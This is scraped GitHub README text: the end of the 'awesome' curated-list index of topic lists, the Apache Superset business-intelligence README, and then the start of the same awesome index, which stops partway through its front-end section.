[Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> # Superset [](https://opensource.org/licenses/Apache-2.0) [](https://github.com/apache/superset/tree/latest) [](https://github.com/apache/superset/actions) [](https://badge.fury.io/py/apache-superset) [](https://codecov.io/github/apache/superset) [](https://pypi.python.org/pypi/apache-superset) [](https://join.slack.com/t/apache-superset/shared_invite/zt-uxbh5g36-AISUtHbzOXcu0BIj7kgUaw) [](https://superset.apache.org) <img src="https://github.com/apache/superset/raw/master/superset-frontend/src/assets/branding/superset-logo-horiz-apache.png" alt="Superset" width="500" /> A modern, enterprise-ready business intelligence web application. [**Why Superset?**](#why-superset) | [**Supported Databases**](#supported-databases) | [**Installation and Configuration**](#installation-and-configuration) | [**Release Notes**](RELEASING/README.md#release-notes-for-recent-releases) | [**Get Involved**](#get-involved) | [**Contributor Guide**](#contributor-guide) | [**Resources**](#resources) | [**Organizations Using Superset**](RESOURCES/INTHEWILD.md) ## Why Superset? Superset is a modern data exploration and data visualization platform. Superset can replace or augment proprietary business intelligence tools for many teams. Superset provides: - A **no-code interface** for building charts quickly - A powerful, web-based **SQL Editor** for advanced querying - A **lightweight semantic layer** for quickly defining custom dimensions and metrics - Out of the box support for **nearly any SQL** database or data engine - A wide array of **beautiful visualizations** to showcase your data, ranging from simple bar charts to geospatial visualizations - Lightweight, configurable **caching layer** to help ease database load - Highly extensible **security roles and authentication** options - An **API** for programmatic customization - A **cloud-native architecture** designed from the ground up for scale ## Screenshots & Gifs **Large Gallery of Visualizations** <kbd><a href="https://superset.apache.org/gallery"><img title="Gallery" src="superset-frontend/src/assets/images/screenshots/gallery.jpg"/></a></kbd><br/> **Craft Beautiful, Dynamic Dashboards** <kbd><img title="View Dashboards" src="superset-frontend/src/assets/images/screenshots/slack_dash.jpg"/></kbd><br/> **No-Code Chart Builder** <kbd><img title="Slice & dice your data" src="superset-frontend/src/assets/images/screenshots/explore.jpg"/></kbd><br/> **Powerful SQL Editor** <kbd><img title="SQL Lab" src="superset-frontend/src/assets/images/screenshots/sql_lab.jpg"/></kbd><br/> ## Supported Databases Superset can query data from any SQL-speaking datastore or data engine (Presto, Trino, Athena, [and more](https://superset.apache.org/docs/databases/installing-database-drivers/)) that has a Python DB-API driver and a SQLAlchemy dialect. Here are some of the major database solutions that are supported: <p align="center"> <img src="superset-frontend/src/assets/images/redshift.png" alt="redshift" border="0" width="106" height="41"/> <img src="superset-frontend/src/assets/images/google-biquery.png" alt="google-biquery" border="0" width="114" height="43"/> <img src="superset-frontend/src/assets/images/snowflake.png" alt="snowflake" border="0" width="152" height="46"/> <img src="superset-frontend/src/assets/images/trino.png" alt="trino" border="0" width="46" height="46"/> <img src="superset-frontend/src/assets/images/presto.png" alt="presto" border="0" width="152" height="46"/> <img src="superset-frontend/src/assets/images/druid.png" alt="druid" border="0" width="135" height="37" /> <img src="superset-frontend/src/assets/images/firebolt.png" alt="firebolt" border="0" width="133" height="21.5" /> <img src="superset-frontend/src/assets/images/timescale.png" alt="timescale" border="0" width="102" height="26.8" /> <img src="superset-frontend/src/assets/images/rockset.png" alt="rockset" border="0" width="125" height="51" /> <img src="superset-frontend/src/assets/images/postgresql.png" alt="postgresql" border="0" width="132" height="81" /> <img src="superset-frontend/src/assets/images/mysql.png" alt="mysql" border="0" width="119" height="62" /> <img src="superset-frontend/src/assets/images/mssql-server.png" alt="mssql-server" border="0" width="93" height="74" /> <img src="superset-frontend/src/assets/images/db2.png" alt="db2" border="0" width="62" height="62" /> <img src="superset-frontend/src/assets/images/sqlite.png" alt="sqlite" border="0" width="102" height="45" /> <img src="superset-frontend/src/assets/images/sybase.png" alt="sybase" border="0" width="128" height="47" /> <img src="superset-frontend/src/assets/images/mariadb.png" alt="mariadb" border="0" width="83" height="63" /> <img src="superset-frontend/src/assets/images/vertica.png" alt="vertica" border="0" width="128" height="40" /> <img src="superset-frontend/src/assets/images/oracle.png" alt="oracle" border="0" width="121" height="66" /> <img src="superset-frontend/src/assets/images/firebird.png" alt="firebird" border="0" width="86" height="56" /> <img src="superset-frontend/src/assets/images/greenplum.png" alt="greenplum" border="0" width="140" height="45" /> <img src="superset-frontend/src/assets/images/clickhouse.png" alt="clickhouse" border="0" width="133" height="34" /> <img src="superset-frontend/src/assets/images/exasol.png" alt="exasol" border="0" width="106" height="59" /> <img src="superset-frontend/src/assets/images/monet-db.png" alt="monet-db" border="0" width="106" height="46" /> <img src="superset-frontend/src/assets/images/apache-kylin.png" alt="apache-kylin" border="0" width="56" height="64"/> <img src="superset-frontend/src/assets/images/hologres.png" alt="hologres" border="0" width="71" height="64"/> <img src="superset-frontend/src/assets/images/netezza.png" alt="netezza" border="0" width="64" height="64"/> <img src="superset-frontend/src/assets/images/pinot.png" alt="pinot" border="0" width="165" height="64"/> <img src="superset-frontend/src/assets/images/teradata.png" alt="teradata" border="0" width="165" height="64"/> <img src="superset-frontend/src/assets/images/yugabyte.png" alt="yugabyte" border="0" width="180" height="31"/> </p> **A more comprehensive list of supported databases** along with the configuration instructions can be found [here](https://superset.apache.org/docs/databases/installing-database-drivers). Want to add support for your datastore or data engine? Read more [here](https://superset.apache.org/docs/frequently-asked-questions#does-superset-work-with-insert-database-engine-here) about the technical requirements. ## Installation and Configuration [Extended documentation for Superset](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose) ## Get Involved - Ask and answer questions on [StackOverflow](https://stackoverflow.com/questions/tagged/apache-superset) using the **apache-superset** tag - [Join our community's Slack](https://join.slack.com/t/apache-superset/shared_invite/zt-uxbh5g36-AISUtHbzOXcu0BIj7kgUaw) and please read our [Slack Community Guidelines](https://github.com/apache/superset/blob/master/CODE_OF_CONDUCT.md#slack-community-guidelines) - [Join our [email protected] Mailing list](https://lists.apache.org/[email protected]) ## Contributor Guide Interested in contributing? Check out our [CONTRIBUTING.md](https://github.com/apache/superset/blob/master/CONTRIBUTING.md) to find resources around contributing along with a detailed guide on how to set up a development environment. ## Resources - Getting Started with Superset - [Superset in 2 Minutes using Docker Compose](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose#installing-superset-locally-using-docker-compose) - [Installing Database Drivers](https://superset.apache.org/docs/databases/dockeradddrivers) - [Building New Database Connectors](https://preset.io/blog/building-database-connector/) - [Create Your First Dashboard](https://superset.apache.org/docs/creating-charts-dashboards/first-dashboard) - [Comprehensive Tutorial for Contributing Code to Apache Superset ](https://preset.io/blog/tutorial-contributing-code-to-apache-superset/) - [Documentation for Superset End-Users (by Preset)](https://docs.preset.io/docs/terminology) - Deploying Superset - [Official Docker image](https://hub.docker.com/r/apache/superset) - [Helm Chart](https://github.com/apache/superset/tree/master/helm/superset) - Recordings of Past [Superset Community Events](https://preset.io/events) - [Live Demo: Interactive Time-series Analysis with Druid and Superset](https://preset.io/events/2021-03-02-interactive-time-series-analysis-with-druid-and-superset/) - [Live Demo: Visualizing MongoDB and Pinot Data using Trino](https://preset.io/events/2021-04-13-visualizing-mongodb-and-pinot-data-using-trino/) - [Superset Contributor Bootcamp](https://preset.io/events/superset-contributor-bootcamp-dec-21/) - [Introduction to the Superset API](https://preset.io/events/introduction-to-the-superset-api/) - [Apache Superset 1.3 Meetup](https://preset.io/events/apache-superset-1-3/) - [Building a Database Connector for Superset](https://preset.io/events/2021-02-16-building-a-database-connector-for-superset/) - Visualizations - [Building Custom Viz Plugins](https://superset.apache.org/docs/installation/building-custom-viz-plugins) - [Managing and Deploying Custom Viz Plugins](https://medium.com/nmc-techblog/apache-superset-manage-custom-viz-plugins-in-production-9fde1a708e55) - [Why Apache Superset is Betting on Apache ECharts](https://preset.io/blog/2021-4-1-why-echarts/) - [Superset API](https://superset.apache.org/docs/rest-api)

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <h4> Check out my latest iPhone app <a href="https://apps.apple.com/app/id1532588789">Photo Widget</a> which lets you add photos to your home screen </h4> <br> <br> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://standardresume.co"> <img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/> </a> </p> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - 